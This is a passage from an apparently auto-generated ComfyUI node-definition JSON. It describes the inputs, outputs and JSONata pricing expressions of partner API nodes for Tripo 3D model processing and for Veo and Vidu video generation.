task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRefineNode", "display_name": "Tripo: Refine Draft model", "description": "Refine a draft model created by v1.4 Tripo models only.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.3, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRigNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RIG_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "rig task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRigNode", "display_name": "Tripo: Rig model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRetargetNode": {"input": {"required": {"original_model_task_id": ["RIG_TASK_ID", {}], "animation": ["COMBO", {"multiselect": false, "options": ["preset:idle", "preset:walk", "preset:run", "preset:dive", "preset:climb", "preset:jump", "preset:slash", "preset:shoot", "preset:hurt", "preset:fall", "preset:turn", "preset:quadruped:walk", "preset:hexapod:walk", "preset:octopod:walk", "preset:serpentine:march", "preset:aquatic:march"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "animation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "RETARGET_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "retarget task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoRetargetNode", "display_name": "Tripo: Retarget rigged model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.1, \"format\": {\"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoConversionNode": {"input": {"required": {"original_model_task_id": ["MODEL_TASK_ID,RIG_TASK_ID,RETARGET_TASK_ID", {}], "format": ["COMBO", {"multiselect": false, "options": ["GLTF", "USDZ", "FBX", "OBJ", "STL", "3MF"]}]}, "optional": {"quad": ["BOOLEAN", {"advanced": true, "default": false}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "texture_size": ["INT", {"advanced": true, "default": 4096, "min": 128, "max": 4096}], "texture_format": ["COMBO", {"advanced": true, "default": "JPEG", "multiselect": false, "options": ["BMP", "DPX", "HDR", "JPEG", "OPEN_EXR", "PNG", "TARGA", "TIFF", "WEBP"]}], "force_symmetry": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "flatten_bottom_threshold": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0}], "pivot_to_center_bottom": ["BOOLEAN", {"advanced": true, "default": false}], "scale_factor": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0}], "with_animation": ["BOOLEAN", {"advanced": true, "default": false}], "pack_uv": ["BOOLEAN", {"advanced": true, "default": false}], "bake": ["BOOLEAN", {"advanced": true, "default": false}], "part_names": ["STRING", {"advanced": true, "default": "", "multiline": false}], "fbx_preset": ["COMBO", {"advanced": true, "default": "blender", "multiselect": false, "options": ["blender", "mixamo", "3dsmax"]}], "export_vertex_colors": ["BOOLEAN", {"advanced": true, "default": false}], "export_orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "animate_in_place": ["BOOLEAN", {"advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["original_model_task_id", "format"], "optional": ["quad", "face_limit", "texture_size", "texture_format", "force_symmetry", "flatten_bottom", "flatten_bottom_threshold", "pivot_to_center_bottom", "scale_factor", "with_animation", "pack_uv", "bake", "part_names", "fbx_preset", "export_vertex_colors", "export_orientation", "animate_in_place"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "TripoConversionNode", "display_name": "Tripo: Convert model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "quad", "type": "BOOLEAN"}, {"name": "face_limit", "type": "INT"}, {"name": "texture_size", "type": "INT"}, {"name": "texture_format", "type": "COMBO"}, {"name": "flatten_bottom", "type": "BOOLEAN"}, {"name": "flatten_bottom_threshold", "type": "FLOAT"}, {"name": "pivot_to_center_bottom", "type": "BOOLEAN"}, {"name": "scale_factor", "type": "FLOAT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $face := (widgets.face_limit != null) ? widgets.face_limit : -1;\n $texSize := (widgets.texture_size != null) ? widgets.texture_size : 4096;\n $flatThresh := (widgets.flatten_bottom_threshold != null) ? widgets.flatten_bottom_threshold : 0;\n $scale := (widgets.scale_factor != null) ? widgets.scale_factor : 1;\n $texFmt := (widgets.texture_format != \"\" ? widgets.texture_format : \"jpeg\");\n $advanced :=\n widgets.quad or\n widgets.flatten_bottom or\n widgets.pivot_to_center_bottom or\n ($face != -1) or\n ($texSize != 4096) or\n ($flatThresh != 0) or\n ($scale != 1) or\n ($texFmt != \"jpeg\");\n {\"type\":\"usd\",\"usd\": ($advanced ? 0.1 : 0.05), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VeoVideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 8, "step": 1, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 2 model to use for video generation", "default": "veo-2.0-generate-001", "multiselect": false, "options": ["veo-2.0-generate-001"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "VeoVideoGenerationNode", "display_name": "Google Veo 2 Video Generation", "description": "Generates videos from text prompts using Google's Veo 2 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.5 * widgets.duration_seconds}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3VideoGenerationNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}]}, "optional": {"resolution": ["COMBO", {"tooltip": "Output video resolution. 4K is not available for veo-3.1-lite and veo-3.0 models.", "default": "720p", "multiselect": false, "options": ["720p", "1080p", "4k"]}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "duration_seconds": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "number"}], "enhance_prompt": ["BOOLEAN", {"tooltip": "This parameter is deprecated and ignored.", "advanced": true, "default": true}], "person_generation": ["COMBO", {"tooltip": "Whether to allow generating people in the video", "advanced": true, "default": "ALLOW", "multiselect": false, "options": ["ALLOW", "BLOCK"]}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "image": ["IMAGE", {"tooltip": "Optional reference image to guide video generation"}], "model": ["COMBO", {"tooltip": "Veo 3 model to use for video generation", "multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", "veo-3.1-lite", "veo-3.0-generate-001", "veo-3.0-fast-generate-001"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video. Supported by all Veo 3 models.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio"], "optional": ["resolution", "negative_prompt", "duration_seconds", "enhance_prompt", "person_generation", "seed", "image", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3VideoGenerationNode", "display_name": "Google Veo 3 Video Generation", "description": "Generates videos from text prompts using Google's Veo 3 API", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "resolution", "type": "COMBO"}, {"name": "duration_seconds", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $a := widgets.generate_audio;\n $seconds := widgets.duration_seconds;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($a ? 0.08 : 0.05) : ($a ? 0.05 : 0.03))\n : $contains($m, \"3.1-fast\")\n ? ($r = \"4k\" ? ($a ? 0.30 : 0.25) : $r = \"1080p\" ? ($a ? 0.12 : 0.10) : ($a ? 0.10 : 0.08))\n : $contains($m, \"3.1-generate\")\n ? ($r = \"4k\" ? ($a ? 0.60 : 0.40) : ($a ? 0.40 : 0.20))\n : $contains($m, \"3.0-fast\")\n ? ($a ? 0.15 : 0.10)\n : ($a ? 0.40 : 0.20);\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Veo3FirstLastFrameNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the video", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative text prompt to guide what to avoid in the video", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p", "4k"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video", "default": "16:9", "multiselect": false, "options": ["16:9", "9:16"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 8, "min": 4, "max": 8, "step": 2, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed for video generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "last_frame": ["IMAGE", {"tooltip": "End frame"}], "model": ["COMBO", {"multiselect": false, "options": ["veo-3.1-generate", "veo-3.1-fast-generate", "veo-3.1-lite"]}], "generate_audio": ["BOOLEAN", {"tooltip": "Generate audio for the video.", "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "negative_prompt", "resolution", "aspect_ratio", "duration", "seed", "first_frame", "last_frame", "model", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Veo3FirstLastFrameNode", "display_name": "Google Veo 3 First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_veo2", "category": "partner/video/Veo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $ga := widgets.generate_audio;\n $seconds := widgets.duration;\n $pps :=\n $contains($m, \"lite\")\n ? ($r = \"1080p\" ? ($ga ? 0.08 : 0.05) : ($ga ? 0.05 : 0.03))\n : $contains($m, \"fast\")\n ? ($r = \"4k\" ? ($ga ? 0.30 : 0.25) : $r = \"1080p\" ? ($ga ? 0.12 : 0.10) : ($ga ? 0.10 : 0.08))\n : ($r = \"4k\" ? ($ga ? 0.60 : 0.40) : ($ga ? 0.40 : 0.20));\n {\"type\":\"usd\",\"usd\": $pps * $seconds}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduTextToVideoNode", "display_name": "Vidu Text To Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduImageToVideoNode", "display_name": "Vidu Image To Video Generation", "description": "Generate video from image and optional prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "images": ["IMAGE", {"tooltip": "Images to use as references to generate a video with consistent subjects (max 7 images)."}], "prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video", "multiselect": false, "options": ["16:9", "9:16", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "images", "prompt"], "optional": ["duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduReferenceVideoNode", "display_name": "Vidu Reference To Video Generation", "description": "Generate video from multiple images and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduStartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model name", "multiselect": false, "options": ["viduq1"]}], "first_frame": ["IMAGE", {"tooltip": "Start frame"}], "end_frame": ["IMAGE", {"tooltip": "End frame"}]}, "optional": {"prompt": ["STRING", {"tooltip": "A textual description for video generation", "multiline": true}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds", "default": 5, "min": 5, "max": 5, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed for video generation (0 for random)", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"tooltip": "Supported values may vary by model & duration", "advanced": true, "multiselect": false, "options": ["1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame"], "optional": ["prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduStartEndToVideoNode", "display_name": "Vidu Start End To Video Generation", "description": "Generate a video from start and end frames and a prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2TextToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "background_music": ["BOOLEAN", {"tooltip": "Whether to add background music to the generated video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "duration", "seed", "aspect_ratio", "resolution", "background_music"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2TextToVideoNode", "display_name": "Vidu2 Text-to-Video Generation", "description": "Generate video from a text prompt", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.1 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2ImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "image": ["IMAGE", {"tooltip": "An image to be used as the start frame of the generated video."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for video generation (max 2000 characters).", "default": "", "multiline": true}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ImageToVideoNode", "display_name": "Vidu2 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 1 ? {\"type\":\"usd\",\"usd\": 0.04}\n : $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2ReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "subjects": ["COMFY_AUTOGROW_V3", {"tooltip": "For each subject, provide up to 3 reference images (7 images total across all subjects). Reference them in prompts via @subject{subject_id}.", "template": {"input": {"required": {"reference_images": ["IMAGE", {}]}}, "names": ["subject1", "subject2", "subject3", "subject4", "subject5", "subject6", "subject7"], "min": 1}}], "prompt": ["STRING", {"tooltip": "When enabled, the video will include generated speech and background music based on the prompt.", "multiline": true}], "audio": ["BOOLEAN", {"tooltip": "When enabled video will contain generated speech and background music based on the prompt.", "advanced": true, "default": false}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "4:3", "3:4", "1:1"]}], "resolution": ["COMBO", 